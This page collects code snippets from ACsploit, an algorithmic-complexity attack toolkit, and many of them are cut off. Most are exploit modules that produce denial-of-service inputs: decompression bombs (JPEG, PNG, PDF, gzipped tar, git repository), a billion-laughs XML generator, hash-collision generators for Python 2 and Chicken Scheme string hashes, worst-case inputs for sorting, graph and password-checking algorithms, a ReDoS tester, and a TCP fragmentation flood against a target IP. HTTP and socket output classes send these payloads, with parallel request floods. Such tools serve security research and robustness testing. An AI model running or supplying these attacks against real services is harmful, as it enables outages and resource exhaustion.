Exemple #1
0
from acsploit.options import Options
import os

options = Options()
options.add_option('size', 10, 'Size of decompressed JPEG in KB', list(range(10, 61, 10)))
options.add_option('color', 'gray', 'color scale', ['gray', 'rgb'])

DESCRIPTION = 'Produces JPEG compression bomb for given size and color scale.' \
              '\n\n  ' \
              'JPEG bombs of certain sizes will be output. Credit to https://bomb.codes.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
	'final_newline': False,
	'format': 'binary'
}


def run(output):
	size = str(options['size'])
	color = options['color']

	with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'jpeg_bombs', color, size + 'K.jpeg'), 'rb') as f:
		output.output([f.read()])
Exemple #2
0
import itertools
from acsploit.options import Options

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('length', 10, 'Length of strings to create')
options.add_option('substring_length', 4, 'Length of substrings to use. Exponential in time and memory.')
options.add_option('target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)',
                   ['image', 'preimage'])
options.add_option('target', 'hello', 'Image or preimage of desired hash value')

DESCRIPTION = 'Produces hash collisions for the 32-bit Python 2 string hash function' \
              '\n\n' \
              'Uses a memory-intensive technique that generates fixed-length strings. ' \
              'Based on a technique published by Alexander ‘alech’ Klink and Julian | zeri at 28C3. ' \
              '(See https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html for details.)'

DEFAULT_INPUT = 'char'

# to find collisions for the 64-bit python hash change HASH_MODULUS to 2**64 and RING_INVERSE to 16109806864799210091
# NB: finding 64-bit collisions via this method is so slow as to be practically useless and so is unsupported
HASH_MODULUS = 2**32  # derived from the bit-width of the python executable
RING_INVERSE = 2021759595  # the inverse of 1_000_003 % HASH_MODULUS


def run(generator, output):
    # given a target hash and string length
    # generate random strings of n characters and reverse them out of the hash value
    # make a lookup table from the resulting semi-hash values to the strings
    # generate random strings of length - n characters and partially hash them
    # if the result is in the hash table, concat the n chars there onto the end of the string to get a collision
Exemple #3
0
import z3
from acsploit.options import Options
from .z3_common import get_collisions


options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('length', 10, 'Length of strings to create')
options.add_option('hash_table_size', 100, 'Size of target hash table')
options.add_option('target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)',
                   ['image', 'preimage'])
options.add_option('target', 'hello', 'Image or preimage of desired hash value')

DESCRIPTION = 'Produces hash collisions for the simple byte summation hash function.' \
              '\n\n  ' \
              'This exploit works by using z3 to "solve" for hash collisions. An implementation of the byte sum ' \
              'checksum for z3 is used to generate a constraint system that z3 solves to find colliding hash inputs.'


NO_INPUT = True


def run(output):
    ret = get_collisions(z3sum, options['target'], options['target_type'], options['length'],
                         options['n_collisions'], options['hash_table_size'])
    output.output(ret)


def z3sum(bytes, hash_table_size):  # computes the z3 form of the sum of all bytes in the string
    v1 = 0
    for byte in bytes:
Exemple #4
0
 def __init__(self):
     """Initialize the Regex Generator."""
     self.options = Options()
     self.options.add_option('regex', '.*',
                             'Generated strings will match this regex')
Exemple #5
0
from acsploit.options import Options


options = Options()
options.add_option('string_length', 120, 'Length of string to generate')

DESCRIPTION = 'Produces a worst-case string for line-breaking algorithms' \
              '\n\n  ' \
              'Fits as many words as possible into the string_length constraint, maximizing the number of possible ' \
              'line breaks considered.'

DEFAULT_INPUT = 'char'


def run(generator, output):
    target_length = options['string_length']
    word = str(generator.get_min_value())
    repetitions = target_length // (len(word) + 1)
    ret = ' '.join([word] * repetitions)
    output.output([ret])
Exemple #6
0
class StringGenerator:
    """String Generator"""

    INPUT_NAME = "string"

    def __init__(self):
        """Initialize the String Generator."""
        self.options = Options()
        self.options.add_option('min_length', 1, 'Minimum string length')
        self.options.add_option('max_length', 10, 'Maximum string length')
        self.options.add_option('min_value', 'a',
                                'Minimum ASCII character to use')
        self.options.add_option('max_value', 'z',
                                'Maximum ASCII character to use')
        self.options.add_option('restrictions', '',
                                'String of characters to exclude')
        self.options.add_option(
            'use_whitelist', False,
            'If True, only generate characters from the whitelist')
        self.options.add_option(
            'whitelist', '',
            'String of characters to generate from if use_whitelist is True')

        self.char_gen = CharGenerator()
        self.prepare()

    def prepare(self):
        """Updates the string generator options."""
        self.char_gen.options['min_value'] = self.options['min_value']
        self.char_gen.options['max_value'] = self.options['max_value']
        self.char_gen.options['restrictions'] = self.options['restrictions']
        self.char_gen.options['use_whitelist'] = self.options['use_whitelist']
        self.char_gen.options['whitelist'] = self.options['whitelist']
        self.char_gen.prepare()

    def _reduce_last_char(self, value):
        """Returns the next lowest string, may be shorter than min_length"""
        c = value[-1]
        try:
            low_c = self.char_gen.get_less_than(c)
            return value[:-1] + low_c + self.char_gen.get_max_value() * (
                self.options['max_length'] - len(value))
        except ValueError:
            # the last character is min_value, strip it off
            return value[:-1]

    def _increment_last_char(self, value):
        """Returns the next greatest string of equal or lesser length than value"""
        while len(value) > 0:
            c = value[-1]
            try:
                high_c = self.char_gen.get_greater_than(c)
                value = value[:-1] + high_c
                if len(value) < self.options['min_length']:
                    value += self.char_gen.get_min_value() * (
                        self.options['min_length'] - len(value))
                return value

            except ValueError:
                value = value[:-1]

        # should never get here since we only call this function with value < max_value
        raise ValueError('No valid value exists greater than {}'.format(value))

    def get_less_than(self, value):
        """Returns the largest valid string less than value (lexicographical order)"""
        # give up if value is not greater than min_value
        # all other cases should succeed, since there is at least one valid string (min_value) less than value
        if value <= self.get_min_value():
            raise ValueError(
                'No valid value exists less than {}'.format(value))

        # strip all extra characters from the right if string is too long
        # the new value will be less than original, so return if valid, or continue
        max_len = self.options['max_length']
        if len(value) > max_len:
            value = value[:max_len]
            if self.is_valid(value):
                return value

        # strip all chars beyond the first invalid char in value
        # we will reduce the invalid char in the next step
        for i, c in enumerate(value):
            if not self.char_gen.is_valid(c):
                value = value[:i + 1]

        value = self._reduce_last_char(value)
        while not self.is_valid(value):
            value = self._reduce_last_char(value)

        return value

    def get_greater_than(self, value):
        """Returns the smallest valid string greater than value (lexicographical order)"""
        # give up if value is not smaller than max_value
        # all other cases should succeed, since there is at least one valid string (max_value) greater than value
        if value >= self.get_max_value():
            raise ValueError(
                'No valid value exists greater than {}'.format(value))

        # strip all extra characters from the right if string is too long
        # the result will be less than original, but will have the same next greatest value
        max_len = self.options['max_length']
        if len(value) > max_len:
            value = value[:max_len]

        # deal with invalid chars
        # strip all chars right of the invalid char; increment the invalid char to a larger valid char
        for i, c in enumerate(value):
            if not self.char_gen.is_valid(c):
                value = value[:i + 1]
                return self._increment_last_char(value)

        # no invalid chars
        min_len = self.options['min_length']
        if len(value) < min_len:
            # pad short value with min_value to min_length
            return value + self.char_gen.get_min_value() * (min_len -
                                                            len(value))
        elif len(value) < max_len:
            # append one min_value character to value if not too long
            return value + self.char_gen.get_min_value()
        else:
            # can't extend length; increment last char to a larger char
            return self._increment_last_char(value)

    def get_max_value(self):
        """Returns the max value."""
        return self.char_gen.get_max_value() * self.options['max_length']

    def get_min_value(self):
        """Returns the min value."""
        return self.char_gen.get_min_value() * self.options['min_length']

    def get_random(self):
        """Returns a random string
        Length is chosen uniformly at random, so shorter strings appear equally as often as longer strings,
        which means the distribution is not uniform, since any given short string is more likely to be chosen
        than a given longer string"""
        length = random.randint(self.options['min_length'],
                                self.options['max_length'])
        return ''.join([self.char_gen.get_random() for _ in range(length)])

    def get_list_of_values(self, num_values):
        """Returns a list of valid numbers starting from min_value."""
        values = []
        next = self.get_min_value()
        for _ in range(num_values):
            values.append(next)
            try:
                next = self.get_greater_than(next)
            except ValueError:
                raise ValueError(
                    'Fewer than {} unique values'.format(num_values))
        return values

    def is_valid(self, candidate):
        """Returns true if the string has valid characters and meets min and max length constraints."""
        length_is_valid = self.options['min_length'] <= len(
            candidate) <= self.options['max_length']
        chars_are_valid = all(self.char_gen.is_valid(c) for c in candidate)
        return length_is_valid and chars_are_valid
Exemple #7
0
from acsploit.options import Options

options = Options()
options.add_option('n_nodes', 10, 'Number of nodes in graph')

DESCRIPTION = 'Produces a worst-case adjacency matrix for Kruskal\'s algorithm.' \
              '\n\n  ' \
              'Kruskal\'s algorithm finds the minimum spanning tree of an undirected weighted graph. To ' \
              'generate the worst-case input, we generates a complete graph where nodes in the graph grow further apart. ' \
              'Many edges with smaller edge weights are considered and rejected for creating cycles before ' \
              'each correct edge is added to the tree. This produces the worst case runtime of O(E log E), where E ' \
              'is the number of edges in the graph.'

NO_INPUT = True


def run(output):
    output.output(kruskal(options['n_nodes']))


def kruskal(n_inputs):
    adjacency_matrix = [[0 for _ in range(n_inputs)] for _ in range(n_inputs)]
    for i in range(n_inputs):
        for j in range(n_inputs):
            if i != j:
                adjacency_matrix[i][j] = max(i, j)
    return adjacency_matrix
Exemple #8
0
import z3
from .z3_common import get_collisions
from acsploit.options import Options
import itertools

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('n_substrings', 5,
                   'Number of substrings to create to will then be combined')
options.add_option('initial_key', 0, 'Initial key value')
options.add_option('hash_table_size', 0x3FFFFFFFFFFFFFFF,
                   'Size of target hash table')
options.add_option(
    'target_type', 'preimage',
    'Whether the target is an image (hash output) or preimage (hash input)',
    ['image', 'preimage'])
options.add_option('target', 'hello',
                   'Image or preimage of desired hash value')

DESCRIPTION =  'Produces hash collisions for vulnerable version the chicken scheme string hash.' \
               '\n\n  ' \
               'The algorithm generates two sets of strings using z3; one that hash to the desired target and another that ' \
               'can be prepended to a string without changing the hash result. This approach is significantly ' \
               'faster than relying naively on z3 but will generate longer strings. It may require tuning of the ' \
               'parameters: if "n_substrings" is too large the exploit may run very slowly; too small and the output ' \
               'strings will be very long.'

NO_INPUT = True


def chicken_hash(bytes, m, r):
Exemple #9
0
import math
from acsploit.options import Options


options = Options()
options.add_option('n_inputs', 10, 'Number of points to generate')

DESCRIPTION = 'Produces a worst-case set of 2D points for the Jarvis March convex hull algorithm.' \
              '\n\n  ' \
              'Generates points evenly spaced around a circle such that all points lie on the convex hull of the set. ' \
              'The resulting points are ordered pessimally and all lie on the hull and so constiture a worst case input ' \
              'to the algorithm, which runs in O(n^2).'

DEFAULT_INPUT = 'int'


def run(generator, output):
    output.output(jarvis(generator, options['n_inputs']))


# Jarvis march is 2D implementation of gift wrapping algorithm
def jarvis(generator, n_inputs):
    # Generate n points on a polygon, to force all points to lie on a hull -> worse case O(n^2)
    x0 = y0 = (generator.get_max_value() + generator.get_min_value()) / 2.0  # center of circle at middle of input
    radius = (generator.get_max_value() - generator.get_min_value()) / 2.0  # largest radius to ensure unique points
    angles = [2 * math.pi * float(i) / n_inputs for i in range(n_inputs)]  # evenly space angles from 0 -> 2pi
    points = [(int(x0 + radius * math.cos(theta)), int(y0 + radius * math.sin(theta))) for theta in angles]

    return points
Exemple #10
0
class Http:
    """Http class."""

    OUTPUT_NAME = 'http'  # exploits can use this internally to whitelist/blacklist supported output formats

    _SEPARATORS = {
        'newline': '\n',
        'comma': ',',
        'space': ' ',
        'tab': '\t',
        'os_newline': os.linesep,
        'CRLF': '\r\n',
        'none': ''
    }

    def __init__(self):
        """Initialize the Http class."""
        self.options = Options()
        self.options.add_option('url', 'http://127.0.0.1:80/',
                                'Host to connect to')
        self.options.add_option('separator', 'newline',
                                'Separator between elements',
                                list(self._SEPARATORS.keys()), True)
        self.options.add_option(
            'final_separator', False,
            'Whether to end output with an instance of the separator')
        self.options.add_option('number_format', 'decimal',
                                'Format for numbers',
                                ['decimal', 'hexadecimal', 'octal'])

        # TODO - eventually support PUT, DELETE, HEAD, and OPTIONS, since requests easily handles those
        self.options.add_option('http_method', 'GET',
                                'Type of HTTP request to make',
                                ['POST', 'GET'])
        self.options.add_option('content_type', '',
                                'Content-Type header for the HTTP request')
        self.options.add_option('url_param_name', 'param',
                                'Name of URL arg(s) to use')
        self.options.add_option(
            'spread_params', True,
            'Put each output in its own URL arg, as opposed to all in one')
        self.options.add_option('use_body', False,
                                'Put exploit output in body, not URL args')

        self.options.add_option('print_request', False, 'Print HTTP request')
        self.options.add_option('send_request', True, 'Send HTTP request')

        self.options.add_option('n_requests', 1,
                                'Total number of times to send the request')
        self.options.add_option('n_parallel', 1,
                                'Number of requests to send simultaneously')

    # TODO - eventually allow printing out http response?
    def output(self, output_list):
        """Create an HTTP request and send the payload."""
        url_payload = {}
        data_payload = ''
        separator = output_common.get_separator(self.options['separator'],
                                                self._SEPARATORS)

        if self.options['use_body']:
            data_payload = separator.join(
                [self.convert_item(item) for item in output_list])
            if self.options['final_separator']:
                data_payload += separator
        else:
            if self.options['spread_params']:
                url_payload[self.options['url_param_name']] = [
                    self.convert_item(item) for item in output_list
                ]
            else:
                line = separator.join(
                    [self.convert_item(item) for item in output_list])
                if self.options['final_separator']:
                    line += separator
                url_payload = {self.options['url_param_name']: line}

        standard_headers = {
            'User-Agent': 'python-requests',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
            'Accept': '*/*'
        }
        if self.options['content_type'] != '':
            standard_headers['Content-Type'] = self.options['content_type']

        # Must use HTTP or HTTPS; default to http if user has not specified
        url = self.options['url']
        if not url.startswith('http://') and not url.startswith('https://'):
            url = 'http://' + url

        req = requests.Request(self.options['http_method'],
                               url,
                               params=url_payload,
                               headers=standard_headers,
                               data=data_payload)
        prepared = req.prepare()

        if self.options['print_request']:
            self.pretty_print_http(prepared)

        if self.options['send_request'] and self.options['n_requests'] > 0:
            request = self.get_request(prepared)

            if self.options['n_requests'] == 1:
                print('Sending HTTP request (est. {} bytes)'.format(
                    len(request)))
                self.send_request(prepared)

            else:
                pool = multiprocessing.pool.ThreadPool(
                    self.options['n_parallel'])
                print('Sending {} HTTP requests (est. {} bytes each)'.format(
                    self.options['n_requests'], len(request)))

                # This will send n_parallel requests at once; each thread blocks until receiving a response
                # Each thread continues sending requests until n_requests have been sent in total across all threads
                pool.map(self.send_request,
                         [prepared] * self.options['n_requests'])
                pool.close()
                pool.join()

            print('All HTTP requests sent')

    def send_request(self, prepared_req):
        s = requests.Session()
        s.send(prepared_req)
        s.close()

    # NOTE: This is only an approximation of the request that will actually be sent
    #       The requests API does not expose the actual bytes of a request that will be sent over the wire
    #       If using HTTPS, will return the unencrypted HTTP payload, not the TLS payloads
    def get_request(self, prepared_req):
        _, full_url = prepared_req.url.split(
            '://', maxsplit=1)  # Strip http:// or https://
        url, _, path = full_url.partition(
            '/')  # Requests formats the url so there should always be a '/'
        headers = ''.join('{}: {}\r\n'.format(k, v)
                          for k, v in prepared_req.headers.items())
        body = '' if prepared_req.body is None else prepared_req.body
        request = '{} /{} HTTP/1.1\r\nHost: {}\r\n{}\r\n{}'.format(
            prepared_req.method, path, url, headers, body)
        return request

    def pretty_print_http(self, prepared_req):
        """Print readable http output."""
        print('-----------START-----------')
        print(self.get_request(prepared_req))
        print('------------END------------')

    def convert_item(self, item):
        """Convert output to a str type."""
        # NB: this doesn't recurse onto lists
        if type(item) is int:
            if self.options['number_format'] == 'hexadecimal':
                item = hex(item)
            elif self.options['number_format'] == 'octal':
                item = oct(item)

        return str(item)
Exemple #11
0
import copy
import itertools
import multiprocessing as mp
import os
import re
import time

from scipy.optimize import curve_fit
import tqdm

from acsploit.options import Options
from . import regex_common

options = Options()
options.add_option('regex', 'your_regex', 'Regex to exploit, if vulnerable')
options.add_option(
    'regex_file', 'your_file',
    'File containing newline separated regular expressions to exploit')
options.add_option(
    'use_file', False,
    'Whether to use the file of regular expressions or the single user supplied expression'
)
options.add_option(
    'show_progress_bar', False,
    'Whether to show a progress bar showing how much of ' +
    'the file has been processed, only valid when use_file is True')
options.add_option(
    'show_only_vulnerable', True,
    'Whether to show only the vulnerable regular expressions, only valid when use_file is True'
)
options.add_option('max_length', 25,
Exemple #12
0
import logging
from acsploit.options import Options

options = Options()
options.add_option('n_inputs', 10, 'Number of elements in heap')
options.add_option('type', 'max', 'Type of heap', ['min', 'max'])

DESCRIPTION = 'Produces a worst-case set of inputs for insertion in a heap' \
              '\n\n  ' \
              'The worst case for min-heap is a descending list, as each insertion changes the min element. ' \
              'The worst case for max-heap is an ascending list, as each insertion changes the max element.'


def run(generator, output):
    if options['type'] == 'max':
        output.output(ascending_list(generator, options['n_inputs']))
    elif options['type'] == 'min':
        output.output(descending_list(generator, options['n_inputs']))
    else:
        raise ValueError('Not a valid type')


def descending_list(generator, numnodes):
    output = [generator.get_max_value()]
    for i in range(1, numnodes):
        output.append(generator.get_less_than(output[i - 1]))
    return output


def ascending_list(generator, numnodes):
    output = [generator.get_min_value()]
Exemple #13
0
from acsploit.options import Options

options = Options()
options.add_option('library', "zxcvbn",
                   'The library to target with worst-case passwords',
                   ['zxcvbn', 'nbvcxz'])
options.add_option('length', 100, 'Length of password')

DESCRIPTION = 'Produces worst-case input for the zxcvbn password validation algorithm, targeting 1337 character replacement' \
              '\n\n  The algorithm is already O(n^2) due to checking every single substring of the password. ' \
              'Maximizing the leet characters in the password increases the cost of checking each substring.'

NO_INPUT = True

# We found that by utilizing ALL leet characters, some zxcvbn implementations take longer to process the password
LEETCHARS = "4@8({[<3691!|170$5%2"
# This may not be precisely the worst case, as it's unclear what role some other matchers play in extending the length
NBVCXZ = "4@8({[</369&#!1/|0$5+7%2/"


def run(output):
    ret = generate_password(options['library'], options['length'])
    output.output([ret])


def repeat_to_length(string_to_expand, length):
    return (string_to_expand *
            (int(length / len(string_to_expand)) + 1))[:length]


def generate_password(target, length):
Exemple #14
0
import os

from acsploit.options import Options

options = Options()
options.add_option('depth', 10, 'Recursive depth/width of Git bomb',
                   list(range(10, 51, 10)))

DESCRIPTION = 'Produces a tar.gz archive of a Git bomb (see Kate Murphy\'s work at https://kate.io/blog/git-bomb/)' \
              '\n\n' \
              'The git repository produced contains 12 objects that are recursively referenced a billion times. ' \
              'When cloning this repo git will attempt to walk the tree and construct a billion files, causing excessive ' \
              'memory and storage consumption.'
NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'}


def run(output):
    ret = git_bomb(options['depth'])
    output.output([ret])


# Returns a git bomb based on https://github.com/Katee/git-bomb#readme
def git_bomb(depth):
    filename = 'gitbomb' + str(depth) + '.tar.gz'
    with open(
            os.path.join(os.path.dirname(os.path.realpath(__file__)),
                         'git_bombs', filename), 'rb') as git_bomb_file:
        return git_bomb_file.read()
Exemple #15
0
import os
import io
import tarfile
import math

from acsploit.options import Options

options = Options()
options.add_option('type', 'recursive', 'Type of bomb',
                   ['single_file', 'layer', 'recursive'])
options.add_option(
    'target_size', 100000,
    'Desired size of decompressed file in bytes (not applicable to recursive bombs)'
)
options.add_option(
    'n_layers', 3,
    'Number of nested layers of archives (only relevant for layer bombs)')

DESCRIPTION = 'Produces a gzipped tar archive that expands into a very large file or set of files.\n\n  The "recursive" bomb ' \
              'produces a self-reproducing bomb that will continue to decompress unless a ' \
              'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_layer" ' \
              'bomb creates a single file which decompresses to the target size in bytes. The single_layer bomb may use ' \
              'significant resources when built for large sizes, as ACsploit compresses the payload itself. Use caution' \
              'when executing with this option. The "layered" bomb contains nested archives with the depth controlled by ' \
              'the "n_layers" parameter.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'}

Exemple #16
0
class Socket:
    """Socket class."""

    OUTPUT_NAME = 'socket'  # exploits can use this internally to whitelist/blacklist supported output formats

    _SEPARATORS = {  # as bytes because socket.sendall() requires bytes
        'newline': b'\n',
        'comma': b',',
        'space': b' ',
        'tab': b'\t',
        'os_newline': bytes(os.linesep.encode()),
        'CRLF': b'\r\n'
    }

    _VERSIONS = {'IPv4': socket.AF_INET, 'IPv6': socket.AF_INET6}

    _BANNER_LENGTH = 1024

    def __init__(self):
        """Initialize the Socket class."""
        self.options = Options()
        self.options.add_option('host', '127.0.0.1', 'Host to connect to')
        self.options.add_option('port', 80, 'Port to connect to')
        self.options.add_option('ip_version', 'IPv4', 'Version of IP to use',
                                ['IPv4', 'IPv6'])
        self.options.add_option('separator', 'newline',
                                'Separator between elements',
                                list(self._SEPARATORS.keys()), True)
        self.options.add_option(
            'final_separator', False,
            'Whether to end output with an instance of the separator')
        self.options.add_option(
            'await_banner', False,
            'Receive a banner message from the server before sending data')
        self.options.add_option('number_format', 'decimal',
                                'Format for numbers',
                                ['decimal', 'hexadecimal', 'octal'])

    def output(self, output_list):
        """Create a socket stream and send the payload as output."""
        separator = output_common.get_separator(self.options['separator'],
                                                self._SEPARATORS)
        line = separator.join(
            [self.convert_item(item) for item in output_list])
        if self.options['final_separator']:
            line += separator
        protocol = Socket._VERSIONS[self.options['ip_version']]
        # TODO: handle exceptions?
        s = socket.socket(protocol, socket.SOCK_STREAM)
        s.connect((self.options['host'], self.options['port']))
        if self.options['await_banner']:
            s.recv(Socket._BANNER_LENGTH)
        s.sendall(line)
        s.close()

    def convert_item(self, item):
        """Convert output to hexadecimal or octal."""
        # NB: this doesn't recurse onto lists
        if type(item) is int:
            if self.options['number_format'] == 'hexadecimal':
                item = hex(item)
            elif self.options['number_format'] == 'octal':
                item = oct(item)
        if type(item) is not bytes:
            item = str(item).encode(
            )  # TODO: this is a bit of a hack, to put it mildly

        return item
Exemple #17
0
from acsploit.options import Options

options = Options()
options.add_option('type', 'mid', 'Variant of quicksort',
                   ['mid', 'lomuto', 'hoare'])
options.add_option('n_inputs', 10, 'Number of elements to sort')

DESCRIPTION = (
    'Produces a worst-case input set for quicksort'
    '\n\n  Worst-case varies based on implementation:'
    '\n  for lomuto or hoare partition scheme with high value as pivot, sorted input is worst and gives O(n^2) runtime;'
    '\n  for mid variant pessimal input places the largest values at the pivots and gives O(n^2) runtime'
)


def run(generator, output):
    if options['type'] in ['lomuto', 'hoare']:
        # Worst case for Lomuto and Hoare quicksort is already sorted
        output.output(ascending_list(generator, options['n_inputs']))
    elif options['type'] == 'mid':
        # worst case for quicksort with midpoint pivots radiates from the center
        output.output(radiate_list(generator, options['n_inputs']))


def ascending_list(generator, n_inputs):
    return list(reversed(descending_list(generator, n_inputs)))


def descending_list(generator, n_inputs):
    output = [generator.get_max_value()]
    for i in range(1, n_inputs):
Exemple #18
0
from acsploit.options import Options

options = Options()
options.add_option('pattern_length', 5, 'Length of pattern to search')
options.add_option('string_length', 10, 'Length of string to search in')
options.add_option('match', True,
                   'Whether to generate a matching or non-matching pattern')

DESCRIPTION = 'Produces a worst-case string and search pattern for the Rabin-Karp string matching algorithm.' \
              '\n\n  ' \
              'The worst case for the Rabin-Karp algorithm is O(nm), where n is the length of the pattern being ' \
              'matched, and m is the length of the text being searched in.'

DEFAULT_INPUT = 'char'


def run(generator, output):
    if options['match']:
        ret = all_same_match(generator, options['string_length'],
                             options['pattern_length'])
    else:
        ret = no_match(generator, options['string_length'],
                       options['pattern_length'])
    output.output(ret)


def no_match(generator, string_length,
             pattern_length):  # For if you want to not match the pattern
    base = generator.get_min_value()
    pattern = pattern_length * base
    k = string_length // pattern_length
Exemple #19
0
import ctypes
import os
from acsploit.options import Options
import time

try:
    default_interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
except Exception:
    default_interface = None

try:
    is_admin = os.getuid() == 0
except AttributeError:
    is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0

options = Options()
options.add_option('target_ip', None, 'Target IP address')
options.add_option('target_port', 443, 'Target port')
options.add_option('interface', default_interface,
                   'The local interface the attack should be sent on')
options.add_option(
    'simultaneous_connections', multiprocessing.cpu_count(),
    'The number of simultaneous connections to maintain during the attack')
options.add_option('time', 60, 'Number of seconds to perform the attack')
options.add_option('payload_size', 10000,
                   'Size of a single attack payload, repeatedly sent')
options.add_option('initial_fragmented_segments', 3000,
                   'Number of segments to send that are initially fragmented')
options.add_option(
    'response_timeout', 1,
    'Time in seconds to wait for TCP handshake response from target')
Exemple #20
0
from .deflate import max_deflate_png
from acsploit.options import Options

options = Options()
options.add_option('width', 225000,
                   'Desired width of uncompressed PNG in pixels')
options.add_option('height', 225000,
                   'Desired height of uncompressed PNG in pixels')

DESCRIPTION = 'Generates a PNG bomb.' \
              '\n\n  ' \
              'The PNG file output expands immensely when loaded into memory by certain applications. ' \
              'We construct a custom PNG file from scratch, inserting a DEFLATE compression bomb, as DEFLATE ' \
              'is the underlying compression used in PNG.'

# NOTE: We looked at using the pypng library for this instead of the custom deflate code
# While the png code is significantly simpler, it also takes significantly longer to run
# because the png library uses zlib for compression, whereas the custom implementation knows
# that the input is all zero bytes and thus can write out the compressed data directly

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'}


def run(output):
    ret = max_deflate_png(options['width'], options['height'])
    output.output([ret])
Exemple #21
0
import string
import z3

from acsploit.options import Options

options = Options()
options.add_option('hash', '+ * x y z',
                   'The hash function to use, in prefix notation')
options.add_option(
    'target_type', 'image',
    'Whether to solve for inputs that hash to image or inputs that hash to the same value as preimage',
    ['image', 'preimage'])
options.add_option(
    'image', 0,
    'The target value to solve the inputs to the hash function for')
options.add_option('preimage', 'x = 4, y = 1, z = 1',
                   'The preimage values to hash, in the format VAR = VALUE')
options.add_option('variable_width', 32,
                   'Bit-width of variables in the hash function')
options.add_option('n_collisions', 10,
                   'The number of colliding inputs to solve for')

DESCRIPTION = 'Produces hash collisions for a custom hash function.' \
              '\n\n  ' \
              'This module allows you to define custom hash functions out of a collection of primitive operations ' \
              'and solve for collisions against them using z3. Hash functions are specified in prefix notation, using ' \
              'arbitrary variable names and the following operators: +, -, *, /, <<, >>, & (bit-wise AND), | (bit-wise OR), ' \
              'and ^ (bit-wise XOR). See custom_hashes.md for more details.'

NO_INPUT = True
Exemple #22
0
class CharGenerator:
    """Character generator"""

    INPUT_NAME = "char"

    def __init__(self):
        """Initialize the Chracter generator."""
        self.options = Options()
        self.options.add_option('min_value', 'a',
                                'Minimum ASCII character to use')
        self.options.add_option('max_value', 'z',
                                'Maximum ASCII character to use')
        self.options.add_option('restrictions', '',
                                'String of characters to exclude')
        self.options.add_option(
            'use_whitelist', False,
            'If true, only generate characters from the whitelist')
        self.options.add_option(
            'whitelist', '',
            'String of characters to generate from if use_whitelist is True')

        # char_set will be a sorted valid set of characters given the constraints set in options
        # char_set must be updated by calling prepare() if options change
        self._char_set = string.ascii_lowercase

    def prepare(self):
        """Update the character set."""
        self._char_set = [c for c in string.printable if self.is_valid(c)]
        self._char_set.sort()

    def get_min_value(self):
        """Return the min character value."""
        return self._char_set[
            0]  # options[min_value] could be in restrictions, so we don't just return that

    def get_max_value(self):
        """Return the max character value."""
        return self._char_set[
            -1]  # options[max_value] could be in restrictions, so we don't just return that

    def is_valid(self, candidate):
        """Returns true if character is valid."""
        whitelist = self.options['use_whitelist']
        if whitelist:
            return candidate in self.options['whitelist']
        else:
            min_val = self.options['min_value']
            max_val = self.options['max_value']
            restrictions = self.options['restrictions']
            return min_val <= candidate <= max_val and candidate not in restrictions

    def get_less_than(self, value):
        """Returns a character less than the given value."""
        result = None
        for c in self._char_set:
            if c >= value:
                break
            result = c
        if result is None:
            raise ValueError(
                'No valid value exists less than {}'.format(value))
        return result

    def get_greater_than(self, value):
        """Returns a character greater than the given value."""
        for c in self._char_set:
            if c > value:
                return c

        raise ValueError('No valid value exists greater than {}'.format(value))

    def get_random(self):
        """Returns a random character set."""
        return random.choice(self._char_set)

    def get_char_set(self):
        """Returns a character set."""
        return self._char_set

    def get_list_of_values(self, num_values):
        """Returns a string with length num_values starting from min_value"""
        if num_values > len(self._char_set):
            raise ValueError('Fewer than {} unique values'.format(num_values))

        return self._char_set[:num_values]
Exemple #23
0
import math
import os

from acsploit.options import Options

options = Options()
options.add_option('memory_impact', 1000.0, 'Target memory use in MB')

DESCRIPTION = 'Produces an XML file that implements the billion laughs recursive entity attack.\n\n  ACSploit produces ' \
              'XML bombs similar to those described on wikipedia (https://en.wikipedia.org/wiki/Billion_laughs_attack) with' \
              'each entity containing 10 references to the previous entity. Target memory usage in MB can be set with the ' \
              '"memory_impact" option.'

# TODO: reject too small memory_impact values; are there too large memory impact values?

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False}


def run(output):
    xml = generate_xml(options['memory_impact'] * 10**6)
    output.output([xml])


def format_level(level_num, entities_per_level=10):
    entities = '&lol{};'.format(level_num - 1) * entities_per_level
    return '  <!ENTITY lol{} "{}">'.format(level_num, entities)


def generate_xml(target_size):
Exemple #24
0
import zlib

from acsploit.options import Options

options = Options()
options.add_option(
    'target_payload_memory', 134217728,
    'Desired size of decompressed pdfstream in bytes (maximum 8GB). Memory ceiling for time-effect bomb.'
)
options.add_option(
    'time_multiplier', 1,
    'Gives an additive effect to time usage, but may reduce max memory consumption. Set to 1 for no additional time effect (memory only)'
)

DESCRIPTION = 'Produces a pdf decompression bomb using pdfstream objects.\n\n  Based on a description provided by Didier ' \
              'Stevens (https://blog.didierstevens.com/2008/05/19/pdf-stream-objects/), we produced two variants of a ' \
              'pdf bomb. If the "time_multiplier" option is set to 1, then a pdf bomb is constructed where the document ' \
              'contains pdfstreams that are decompressed using the FlateDecode filter (in a cascade of 3 FlateDecodes). ' \
              'This will cause an AC memory effect on most pdf parsers. We also include the option of extending this ' \
              'attack into an AC time attack (by setting time_multiplier > 1) In that case, we produce pdfstream objects' \
              ' that are referenced multiple times within the page whose individual final memory consumption is 1/(2^8) the' \
              ' target_payload_memory. This is accomplished by following the FlateDecode filters with valid ASCIIHexDecode' \
              ' filters, each of which reduce the final filtered payload size by 1/2. What makes this version of the bomb ' \
